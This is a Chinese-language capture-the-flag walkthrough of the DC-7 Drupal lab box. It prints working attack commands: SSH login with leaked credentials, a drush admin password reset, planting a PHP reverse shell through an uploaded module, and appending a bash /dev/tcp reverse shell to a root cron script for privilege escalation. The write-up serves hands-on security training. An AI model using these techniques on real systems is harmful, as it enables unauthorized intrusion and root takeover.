此次的训练以 Drupal 为主题,并且思考方式不再是单纯的在盒子里,而是要跳出去… 扫描整获取目标 IP :nmap -sn 192.168.67.0/24 扫描目标获取相应信息:nmap -A -p- 192.168.67.242 --> 22 | 80
22 SSH 服务 || 80 HTTP 服务,猜测后面极有可能要用到 SSH 服务…查阅 http://192.168.67.242,CMS 是 Drupal,版本为 8,没有找到关于该版本的相关漏洞利用 初步浏览页面,说是引入了新的概念,需要到盒子外边去寻找线索,盒子外边?意思是不在这个站,要到别处去?要到哪里去呢?细心观察你会发现在初始界面的左下方有这么一个东西:
再次引出,思考盒子外边?遇事不决问谷歌,其次问github,百度和必应,既然谷歌大哥不在家,那就问问github,在github找到了一些小东西:
点进去看看,哇,config 配置文件香香的,迫不及待查看一下:
得到用户名和密码: $username = "dc7user"; $password = "MdR3xOgB7#dW"; 尝试用 ssh 登陆,登陆成功
ssh dc7user@192.168.67.242 MdR3xOgB7#dW ls cd backups ls cd .. cat mbox
发现 Email 版本是 4.89,看下该版本有无可疑提权的 searchsploit Exim local
发现有一个,传过去(方法有很多) cp /usr/share/exploitdb/exploits/linux/local/46996.sh /root/ scp 46996.sh dc7user@192.168.67.242:/tmp/k.sh cd /tmp bash k.sh 但是报错,好吧,看看mbox还有没有没发现的东西: 从上到下,可以看到时间为 17:00 || 17:15 || 17:30 … 可以看出是隔 15 分钟就会执行一个文件[定时任务],而且,是以 root 身份权限执行~,那么路子肯定也就在这里了。去查看一下改执行文件 cat /opt/scripts/backups.sh 看着名字也大概了解是一个备份,看下该文件的权限:
可以看到属主和属组的权限是 7 而其他没有写权限,那就要想办法以属主或属组身份进入系统,但是不知道密码,想着能不能通过数据库修改一下网页密码,然后在Drupal 系统后台上传一个有漏洞的插件?或者可以直接利用的插件?这就拿到了属组身份 cat /var/www/html/sites/default/settings.php
mysql -u db7user -p登陆数据库 show tables; use d7db; show tables; select * from users; 但是,但是,我没有看到密码字段???又把其它关于 users 的表查了个遍…木有 好吧,看看还有没有其它方法…此路不通走彼路 Drupal 是不是有一些特性是不知道的,一般来说做开发,为了提升效率,可以直接命令行来管理,Drupal有这种东西吗? 还真有,叫做 drush,查看帮助,这里需要注意的一个地方就是,需要到该站的主目录即:/var/www/html/ 下才可以执行drush
cd /var/www/html/ drush -h --> 说是输入 drush 查看全部命令,这里还需要说明一下,输错 5 次密码会被暂时封 IP drush user-password admin --password="123" 登陆一下后台:admin 123,上传一个插件,下载地址在这里: https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz 点击 Extend --> Install new module – > Browser 选择文件 --> install 上传即可
将其打开后上传一个 php 反弹shell,
kali:cp /usr/share/webshells/php/php-reverse-shell.php /root/ kali:nc -vnlp 2333 修改反弹 shell 中的内容:
复制到content: 点击 save :[注意 Text format 要选择 “PHP code”],即可获取反弹 shell
id --> www-data python -c 'import pty;pty.spawn("/bin/bash")'
写入反弹 shell 等待 15 分钟,获取 root 权限 echo "bash -i >& /dev/tcp/192.168.67.221/6789 0>&1" >> /opt/scripts/backups.sh
kali这边需要侦听 6789 端口: nc -vnlp 6789 id cd /root ls cat theflag.txt
总结: 1.盒子外思考2.对常见的CMS要深入了解3.数据库改密4.善用搜索引擎5.软件版本漏洞利用6.细心观察[mbox]7.插件利用8.上传shell9.简单的 shell 编写 [bash -i >& /dev/tcp/192.168.67.221/6789 0>&1]10.linux 权限11.linux 定时任务